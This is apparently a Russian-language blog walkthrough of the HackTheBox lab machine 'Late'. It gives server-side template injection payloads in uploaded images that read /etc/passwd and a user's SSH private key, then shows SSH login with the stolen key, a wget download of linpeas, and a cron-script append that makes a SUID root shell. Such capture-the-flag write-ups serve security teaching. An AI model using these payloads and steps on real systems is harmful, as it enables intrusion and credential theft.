Найти тему

Late HackTheBox – [Райтап]. Сложность – Легко.

Здравствуйте, дорогие друзья. Предоставляю Вашему вниманию райтап машины с площадки HackTheBox, которая называется Late.

Краткое содержание

Late - это машина с Linux, и хакеры считают ее простой по сложности. В этом блоке мы начнем с базового сканирования портов и будем двигаться в сторону на основе результатов. Затем мы перечислим HTTP-сервисы и выясним уязвимости, присутствующие на веб-странице. Позже мы воспользуемся уязвимостью внедрения шаблонов на стороне сервера (SSTI), чтобы получить первоначальную точку опоры в целевой системе. Затем нам будет поручено получить root-доступ, где мы будем использовать его, злоупотребляя владением файлами и заданием cron.

Содержание

Первоначальный доступ

· Сканирование TCP-портов Nmap

· Перечисление веб-страниц

· Оценка уязвимости

· Использование внедрения шаблонов на стороне сервера

· Флаг пользователя

Повышение привилегий

· Находим векторы повышения привилегий

· Повышение привилегий через собственный файл, настроенный на задание cron

· Рут-флаг

Давайте следовать по содержанию пошагово.

Первоначальный доступ

Мы собираемся начать оценку с обычного сканирования портов TCP/IP.

Сканирование TCP-портов Nmap

Мы начинаем со сканирования портов, где используем nmap, чтобы выяснить, какие порты открыты и какие службы работают на целевом хосте. Nmap — популярный инструмент сканирования портов, входящий в состав Kali Linux. Чтобы выполнить сканирование портов, мы использовали флаг –sV, который выполняет версию службы на целевом компьютере.

Особенности флагов:

-sV: пытается определить версию службы.

nmap -sV 10.129.227.134

В результате сканирования nmap мы обнаружили, что открыты только два порта: порт 22 и порт 80. Как обычно, служба HTTP работает на порту 80, а служба SSH работает на порту 22. Служба HTTP используется для веб-хостинга, где SSH Сервис используется для удаленного подключения. Мы не обнаружили никаких уязвимостей в SSH версии 7.6p1, и возможная атака, которую мы можем выполнить против службы SSH на этом этапе, — это только брутфорс, который нам, возможно, не понадобится. Вместо того, чтобы думать о брутфорсе SSH, давайте начнем перечислять порт 80.

-2

Перечисление веб-страниц

Мы нумеруем порт 80 и получаем к нему доступ через браузер, отображающий веб-сайт, связанный с изображением. Здесь, на веб-странице, ничего интересного нет, но мы увидели заголовок «Простейшие в мире утилиты для изображений», который подходит для графики, и заголовок «поздно», который может быть потенциальным доменным именем.

-3

Затем мы проверили исходный код веб-страницы, и обнаружили конфиденциальную информацию в разделе комментариев и URL-адресах. Там мы нашли доменное имя http://images.late.htb/.

-4

Затем мы добавили имя домена в файл /etc/hosts на нашей атакующей машине, чтобы получить дополнительную информацию о домене. Вы можете использовать любой текстовый редактор, чтобы добавить домен в файл хостов.

-5

Оценка уязвимости

После добавления его в файл хостов мы получили доступ к http://image.late.htb через браузер и получили новую веб-страницу, на которую мы можем загружать изображения. Проанализировав функциональные возможности веб-страницы, мы обнаружили, что веб-страница преобразует любое изображение в текстовый формат. Например, если на изображении есть текст, он преобразует его в текстовый формат.

-6

Затем мы решили проверить, как он работает, а также создали полезную нагрузку внедрения шаблонов на стороне сервера (SSTI) и сохранили ее как payload.png, что имеет смысл, поскольку преобразует изображения в текст. Мы можем написать полезную нагрузку с помощью текстового редактора, сделать снимок экрана и сохранить его в формате PNG.

{{7*7}}

После создания нашей полезной нагрузки мы загрузили ее на веб-страницу. Вы можете нажать на вкладку «Обзор» и загрузить его из каталога, в котором Вы сохранили наш файл payload.png. Мы видим, что Convertio CMS используется для преобразования файла изображения в текстовые файлы. Convertio — популярный конвертер изображений в текст с открытым исходным кодом.

-7

После конвертации нашего файла мы можем загрузить его, щелкнув вкладку загрузки, и он будет сохранен как results.txt в нашем каталоге загрузок. После загрузки файла мы проверили результат и обнаружили, что Convertio уязвим к внедрению шаблонов на стороне сервера (SSTI). Если мы получим сумму данного аргумента, то весьма многообещающе, что сервер уязвим к SSTI. Например, мы указали {{7*7}} в нашей полезной нагрузке и получили 49 как сумму 7*7.

Уязвимость внедрения шаблонов на стороне сервера (SSTI) возникает, когда пользовательские данные внедряются непосредственно в шаблон, а затем интерпретируются механизмом шаблонов. Это позволяет злоумышленникам вводить произвольные директивы для манипулирования механизмом шаблонов.

-8

Тогда мы решили проверить пользователей в целевой системе. Файл пользователя доступен в файле /etc/passwd. SSTI работает аналогично уязвимости включения локального файла (LFI), но имеет другой синтаксис, который доступен здесь:

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

Мы создали новую полезную нагрузку для чтения файла /etc/passwd из целевой системы и повторили тот же процесс.

{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

-9

Затем мы загрузили его и преобразовали в текстовый формат, как делали раньше.

-10

На этот раз мы получили содержимое файла /etc/passwd целевой системы. Более внимательно изучив файл passwd, мы обнаружили там пользователя svc_acc. Теперь мы можем выполнить пару атак на цель, например перебор службы SSH или получение файла id_rsa с целевого хоста. Когда перебор SSH не удался, мы решили получить файл id_rsa из пользовательского каталога .ssh.

-11

Использование внедрения шаблонов на стороне сервера (SSTI)

Файл id_rsa находится в каталоге /home/svc_acc/.ssh с именем id_rsa. С помощью закрытого ключа id_rsa мы можем войти в систему как пользователь svc_acc без пароля, если ключ id_rsa не защищен паролем. Затем мы создали еще одну полезную нагрузку, указав путь к файлу id_rsa и сохранив его как payload.png.

{{ get_flashed_messages.__globals__.__builtins__.open("/home/svc_acc/.ssh/id_rsa").read() }}

-12

Когда мы загружаем нашу новую полезную нагрузку, она прочитает содержимое ключа id_rsa и сохранит его как файл results.txt. Мы получили ключ RSA, загрузив преобразованный файл. Теперь у нас есть ключ RSA, поэтому мы можем попробовать войти в систему через службу SSH с полученным ключом RSA.

-13

Флаг пользователя

Мы сохранили ключ RSA в качестве ключа и предоставили разрешение на файл 600. Ключ RSA работает с разрешениями файлов 600 и 400. Если мы не дадим разрешение, то при установлении соединения с удаленным хостом будут выдаваться ошибки. Разрешения 600 означают, что только владелец файла имеет полный доступ к нему на чтение и запись. Если для разрешения файла установлено значение 600, никто другой не сможет получить доступ к файлу. Мы можем дать разрешение на файл с помощью chmod 600 <имя файла>.

chmod 600 key

Затем мы можем войти в целевую систему, используя ключ RSA как svc_acc. Поскольку мы собираемся установить соединение с целевым хостом, мы должны добавить -i и передать ключ RSA для аутентификации.

ssh -i key svc_acc@10.129.227.134

После входа в целевую систему мы можем получить флаг пользователя из домашнего каталога svc_acc.

cat user.txt

Далее нам необходимо перейти к учетной записи с привилегиями, поэтому мы перенесли сценарий linpeas.sh в каталог целевой системы /tmp, поскольку любой пользователь имеет полные права доступа к этому каталогу. Чтобы перенести linpeas.sh в целевую систему, нам необходимо настроить сервер Python на машине Kali. Здесь мы настроили сервер Python на порту 80, теперь мы можем загрузить скрипт с помощью wget с целевой стороны.

В Кали:

python3 -m http.server 80

На цели:

wget 10.10.14.31/linpeas.sh

Как только он будет загружен в целевую систему, мы предоставим полное разрешение linpeas.sh и выполним его. Скрипт перечисляет возможные векторы повышения привилегий, присутствующие в целевой системе.

chmod 777 linpeas.sh

./linpeas.sh

-14

Повышение привилегий

Повышение привилегий — это процесс использования ошибки, недостатка конструкции или недосмотра конфигурации в операционной системе или программном приложении для получения расширенного доступа к ресурсам, которые обычно защищены от приложения или пользователя. Повышение привилегий может использоваться злоумышленниками для получения доступа к большему количеству системных функций и данных, чем предполагалось пользователем root. В некоторых случаях повышение привилегий может позволить злоумышленникам получить полный контроль над системой.

Найдите векторы повышения привилегий

Проанализировав выходные данные linpeas.sh, мы обнаружили, что текущий пользователь имеет право владения сценарием ssh-alrert.sh. Мы можем выполнять различные атаки, если файл доступен для записи пользователю с низким уровнем привилегий и принадлежит пользователю root. Прежде чем прийти к каким-либо выводам, давайте перечислим, что делает сценарий.

-15

Повышение привилегий через собственный файл, настроенный на задание cron

Сценарий должен выполняться как задание cron, что означает, что он автоматически выполняет некоторые задачи по событиям или устанавливается для некоторых заданий. Например, когда кто-то попытается войти в систему через SSH, пользователю root будет отправлено предупреждение. Мы владеем сценарием, но, к сожалению, не можем его изменить.

-16

Рут-флаг

Будучи владельцем сценария, мы можем добавлять к нему что угодно. Это означает, что мы не можем удалять или изменять существующий контент, но у нас есть право добавлять к нему что-либо еще. Таким образом, если скрипт будет выполнен пользователем root в следующий раз, он также выполнит добавленную нами задачу.

Давайте добавим двоичный файл /bin/bash и предоставим разрешение SUID. Теперь, если мы войдем в систему через службу SSH, в домашнем каталоге svc_acc будет создан двоичный файл bin/bash с установленным SUID. Если мы его выполним, то появится корневая оболочка. Как только мы получим корневую оболочку, мы сможем получить корневой флаг из каталога /root/root.

-17

Заключение:

Эта машина была интересной и стала отличным источником обучения, где мы узнали и исследовали множество вещей, таких как сканирование TCP-портов, перечисление служб, оценка и использование уязвимостей внедрения шаблонов на стороне сервера, передача файлов, права доступа к файлам, анализ сценариев cron и выполнение повышение привилегий путем использования прав доступа к файлам и задания cron.

Спасибо, что уделили свое драгоценное время чтению этого руководства. Надеюсь, Вам понравилось сегодня, и Вы узнали что-то новое. Удачного взлома!